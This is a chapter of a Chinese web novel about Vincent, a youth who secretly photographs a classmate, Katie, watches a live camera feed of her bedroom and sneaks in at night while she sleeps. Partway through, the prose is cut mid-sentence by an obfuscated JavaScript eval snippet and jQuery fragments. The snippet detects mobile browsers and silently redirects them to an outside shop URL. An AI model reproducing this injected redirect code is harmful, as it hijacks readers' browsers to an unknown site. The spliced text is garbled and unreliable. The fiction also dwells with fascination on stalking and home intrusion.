待凯蒂追出去时，两方的战役由迪维摔坏文森特的相机结束。
迪维还想继续，却被电影院的员工伸手拦了下来，“唉!把我这搞这么乱，得赔钱！”
迪维本想张口辩解，目光一瞟看见走出来的凯蒂，悻悻闭了嘴，开始收拾散落的杂物。
文森特则悄悄从侧边溜出了影院。
凯蒂刚走出来，左右情况看了一眼之后，便走出影院门，刚走出去，就看到坐在椅子上的文森特。
他正徒手摆弄那台旧相机，手腕上绕着一叠黑色细手环，修长的手指在机身的缝隙、旋钮间轻轻摸索安装。
浅金棕的微卷发垂落，半遮住他的眉眼，注意力尽数沉在手中的物件上。
脚步声传入耳中，他顿了顿，缓缓抬起头，澄澈的浅灰蓝眼眸从相机上移开，落向走来的凯蒂，神色带着一丝滞涩。
“你刚才偷看我们?”
浅灰蓝的眼底晃了晃，唇微微张开，被撞破的滞涩底下，藏着一点猝然浮起的近乎无措的期待。
这是凯蒂这么久以来，第一次开口对他说话。质问的意思他听得明白，可耳朵先抓住了她落在自己身上的声音。
“嘿?”
凯蒂有些疑惑，在自己印象中，对方并不是个哑巴。
文森特喉结轻轻滚了一下，正要应声，视线直直撞进她黑色的眼眸，心神忽然一滞，话堵在舌尖，又如往常一样陷进那双眼睛。
“文森特，你的名字，对吧，我为迪维对你做的事感到抱歉。”见他久久沉默，凯蒂直白开口，“相机如果修不好，修好之后把账单给我，我赔你。”
虽然是迪维干的，但他肯定不会赔。而凯蒂，虽然也不是很能理解文森特的行为，但一码归一码。
听见自己的名字，文森特的呼吸微顿，可她语气里那层客气疏离，瞬间压下了心底冒出来的雀跃。
他本想把完好的相机举起来给她看，念头一转，手又收了回去，攥紧相机贴向身侧。
“好。”
“凯蒂!”
身后传来迪维的呼唤，凯蒂这才点头示意，转头离去。
也就在她转身走的那一刹那，文森特快速举起相机，指尖按下快门，留住黑发拂过空气的那一帧。
“离那小子远点！”
凯蒂刚走到迪维身前，就听见他语气冲地抛出这句话。
“为什么？”凯蒂疑惑地抬眼看他。
“你没瞧见他刚才做什么，他——”迪维正要一股脑吐槽，视线落进凯蒂那双澄澈、忽闪的大眼睛里，话到嘴边又咽了回去，换了个说辞，“听说，他有一台能夺舍他人灵魂的相机！”
“哈哈。”凯蒂被这种孩子气的说法逗得轻笑出声，“这么说你也算做了件好事，把他的相机摔坏了。”
“我可不稀罕这件好事！再说我把他推倒在地的时候，他拼了命护着那台相机，哪里摔得坏？宝贝得要命！我怀疑里面藏着见不得人的东西。”一想起文森特当时的样子，迪维就满心火气。
“好了，电影差不多结束了，我得回家了。”凯蒂不想再聊这些，抬腕看了眼手表，语气认真道。
迪维脸上顿时浮起懊恼，缠着她耍赖，见凯蒂没有松口，只好作罢。
“那我送你回家总可以吧？”
“不行，德丝蕾在家等我，我得坐公交回去。”
文森特平日总是蔫蔫的，万事慢半拍，像电量仅剩百分之一，可一旦跨上单车，整个人立刻超频运转。
风狠狠刮过耳侧，他接连掠过几条街区，一路冲回家，把单车随手撂在院子里，双手牢牢护着胸前的相机，快步钻进地下室。
厚重的门板噗通一声合拢，将屋外家人的骂声一并隔在外面。
密闭的暗房里只剩昏暗暗红的灯光，空气潮湿温热，飘着显影液刺鼻又熟悉的味道。
整整三个小时，他守在冲洗台前，耐心等待影像一点点从空白相纸上浮现。
直到画面彻底成型。
文森特抬手，轻轻举起那张刚洗好的照片。
画面里是阳光下，凯蒂离去的背影。
他的视线一寸寸黏在相纸上，挪不开分毫。指尖轻轻摩挲着相纸冰凉的表皮，眼底翻涌着近乎病态的沉溺，连呼吸都放得极轻，生怕惊扰了照片里的小人。
“凯蒂……凯蒂……”
视线无意识间缓缓涣散，扫过自己亲手改造的整片地下室。
墙边层层叠叠堆着大大小小的老式相机，货架密密麻麻塞满封存完好的录像带，占据了整面墙壁，目光所及的每一处墙面，没有一寸空余，全都贴满、钉满了大大小小的照片。
清一色，全是凯蒂。
街道旁的背影、放学的侧颜、窗边的剪影、走路时晃动的发丝……无数个零碎瞬间，被他悄悄定格，铺满了整片阴暗的房间。
角落的老式电视机正亮着幽幽微光，屏幕里安静投射着实时画面——
是凯蒂的卧室。
“凯蒂！别一直待在卧室，歌莲那死丫头来了！”
“知道了。”
听见德丝蕾的喊声，凯蒂才放下手里的记账本。之前答应赔文森特钱的时候她答应得干脆，可细细算过数目，还是难免肉疼。
德丝蕾这些年跟着汉克投了几只基金，赚了一点钱。只是凯茜花销很大，还要请护工照看，凯蒂从去年就出去打零工，不再主动伸手要钱，就算德丝蕾硬把钱塞给她，隔天她又会悄悄放回德丝蕾的床头。
总之，她最近得再找一份零工。
收好账本，凯蒂起身下楼。
“你这穿的是什么？”歌莲看见她穿着睡衣就下来，当即开口吐槽。
“就只有你和德丝蕾，需要穿得那么正式吗？”
汉克叔叔和护工原本也打算过来，只是各自有事，说之后再补过生日，这下本就不算热闹的生日，人就更少了。
“这可是生日，一年只有一次。”
歌莲打扮得光鲜，特意卷了头发，喷了香水。她不少男朋友都没享受过这种待遇，当然，其中一部分还没等到过生日就已经分手了。
“生日一年仅有一次，每一天亦是如此。”
“我可比不过你，大哲学家。”歌莲听完这句话，白眼直接翻上天，“哦，对了，你是小学生吗？我看见你家门口居然还放着牛奶瓶，小学订的奶居然到现在还在续？”
凯蒂拉着她走到餐厅，开口回道：“牛奶有什么不好？当时对方问要不要续订，就一直续到现在了。”
“哈？还能续，我怎么不知道。”
“如果你不天天往别人家里钻，说不定就能收到牛奶续费通知单。”德丝蕾端上最后一盘菜，开口出言讽刺。
“不好意思，我不喝牛奶照样发育得很好！”歌莲说着还刻意挺了挺胸，“不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946732|214080||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像某人，只能搞假的。”
“你个死丫头！”
这话把德丝蕾气得不轻，直接上前就要拧她胳膊上的肉。
凯蒂在一旁看得无奈。但这两人也算另类的忘年交，从最开始暗地里互相看不顺眼，到现在这样直白地打闹拌嘴。
“好了!你们不会忘了现在要干什么了吧？”
“凯蒂，生日快乐!”
“生日快乐呀！凯蒂!”
“你说慢了。”
“死老太婆，你才说慢了!”
……
凯蒂的生日，就在一片祥和下悄然结束。
三人都没有喝酒，可德丝蕾还是不放心歌莲，决定开车送她回家，凯蒂在门口和她们道别，转身走上二楼，推开凯茜的房门。
“妈妈，今天是我十六岁生日，我在学校……”
她轻声说着，不知说了多久，凯茜的手指忽然轻轻一跳，凯蒂下意识伸手，握住那只手。
起初她曾以为，这是妈妈快要醒过来的征兆。可十年漫长时光磨下来，她早已清楚，这只是植物人不受控制的生理反射，不代表意识回归，更不代表病情好转。
不过——
“妈妈，我相信会有醒来的那一天。”
深黑的夜色压覆整座街区，无月无风，整片天地沉在死寂浓稠的黑暗里，连虫鸣都彻底消弭。
凯蒂的卧室安安静静，少女陷在安稳的熟睡里，绵长均匀的呼吸揉碎在静谧的空气里，毫无防备。
文森特借着浓重夜色攀上二楼外墙，指尖扣住窗沿，无声翻过落地窗滑入室内，落地的瞬间连一丝细碎的声响都未曾溢出。
这间卧室的气息，是他透过地下室老旧屏幕窥视千百次，却永远触碰不到的真实。
屏幕里的画面冰冷扁平，只能遥遥观望她身处的这片天地，隔着一层永远戳不破的隔阂。
可此刻亲身踏入这里，凯蒂干净柔软的气息密密麻麻裹满整个房间，鲜活、温热、真实得滚烫，死死攫住他全部的感官，彻底颠覆了他无数次的空想。
他站在阴影里压稳全部呼吸，目光牢牢黏在床榻熟睡的少女身上，克制又贪婪地包揽眼前的一切。
他缓缓俯身凑近床头柜，鼻尖抵向那只空了大半的杯子。
杯沿还留着她唇齿贴过的湿痕，薄薄一层，带着黏软的余迹。
清甜的气息漫上来，他不由自主地沉入想象，眼前晃过她低头捧着杯子、小口咽下的模样。
一阵细碎滚烫的愉悦，顺着四肢百骸慢慢铺开。
他顺着气息慢慢靠近枕畔，微微垂首，鼻尖轻轻摩挲拂过她铺散在枕头上的乌黑秀发。
干净温润的发丝气息，如同在影院时，将他整个人彻底包裹，他沉溺在这咫尺的近距离里，却不敢触碰、更不敢惊扰，只用呼吸无声收纳着她的一切。
睡梦里的凯蒂无意识侧翻转身，柔软的身子挪向床里，方才枕着贴着的那片床席，还留存着她鲜活温热的体温，余温滚烫又真实。
文森特指尖微颤，极轻地覆上那片带着她温度的位置，掌心贴合着残留的暖意，紧绷的神经在这一刻彻底沉沦松弛。
他始终不敢靠近熟睡的凯蒂分毫，不敢触碰她半分肌肤。
只是绕着床沿缓步走动，流连在她周身这一方小小的空间里，贪婪呼吸她身边的空气，独享这个只属于他，和熟睡的凯蒂的夜晚。